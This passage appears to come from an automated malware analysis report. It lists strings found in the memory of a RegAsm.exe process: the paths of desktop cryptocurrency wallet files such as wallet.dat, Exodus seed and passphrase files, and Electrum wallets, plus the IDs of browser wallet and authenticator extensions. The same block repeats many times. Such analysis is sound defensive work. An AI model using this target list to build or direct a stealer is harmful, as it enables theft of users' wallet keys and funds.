Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: eemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|Authy\|gaedmjdfmmahhbjefcbgaolhhan
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 